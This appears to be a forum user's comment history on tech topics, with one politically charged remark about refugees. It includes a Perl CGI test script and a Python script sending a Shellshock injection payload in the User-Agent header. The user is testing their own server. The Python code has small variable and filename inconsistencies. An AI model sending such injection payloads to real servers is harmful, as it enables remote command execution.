212 karma · joined February 17, 2011
It also amazes me why the EU leaders insist for other European countries to accept these "refugees" when the majority of EU countries is not responsible for this situation at all.
Luckily there are some leaders out there that are not afraid of this stupid political correctness and they build fences on their borders because they know what this might lead to.
https://dev.windows.com/en-us/uwp-bridges/project-islandwood
https://news.ycombinator.com/item?id=9471204
So ironically this announcement might benefit Microsoft a lot.
http://blogs.msdn.com/b/dotnet/archive/2015/04/29/rounding-o...
http://blogs.msdn.com/b/fsharpteam/archive/2014/11/12/announ...
For me the most welcome change is the vastly improved consistency of the Seq/List/Array APIs.
Well on second thought I guess Appcelerator Titanium does something similar. So it's native UI only, but with the added overhead (JS interpreter + bridge, larger binary size, slower startup, etc.).
echo $0 -> bash
ls -l /bin/sh -> /bin/bash
GNU bash, version 3.1.17(2)-release
Apache/2.2.25
And I couldn't reproduce the vurnerability in a perl cgi script unless I had explicitly referenced an environment variable in the system() call like I posted above. I thought all versions are vurnerable. #test-cgi.pl
use strict;
use warnings;
use CGI;
print "Content-Type: text/plain\n\n";
my $q = CGI->new();
print "\nHEADERS:\n==============\n";
my %headers = map { $_ => $q->http($_) } $q->http();
foreach my $k ( keys %headers ) {
print "$k\n $headers{$k}\n";
}
system("echo hello");
#request.py
import socket
def build_request(meth, host, path, headers=None):
req = "%s %s HTTP/1.0\r\nHost: %s\r\n" % (meth, path, host)
if headers is not None:
req = req + "\r\n".join(headers) + "\r\n"
return req + "\r\n"
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
ip_addr = 'xxx.xxx.xxx.xxx'
sock.connect((ip_addr, 80))
headers = [
'User-Agent:() { :; }; /bin/touch /tmp/testshellshock;',
]
req = build_request("GET", ipaddr, "/cgi-bin/test-cgi.pl", headers)
sock.sendall(req)Then in my cgi script I do a harmless system('date') call. The file /tmp/shellshocked won't be created right? The file would have been created had I done for example a system('echo $HTTP_USER_AGENT') call. (That is, one needs to explicitly reference the environment variable that gets passed to bash). Is my understanding correct?
I've developed native apps for BB10. The tooling is decent. It's a bit heavy since it's based on Eclipse but I had no problems with it. You can also use QtCreator with BlackBerry 10, but I've never tried it. You will mostly use Qt-based APIs anyway in your app, so there's no issue with support. The documentation for BB10 Cascades APIs is very good. There are also lots of official and community submitted samples on Github. For questions I've always used their developer forums which were active.
http://www.nytimes.com/2014/03/01/world/europe/aleksei-naval...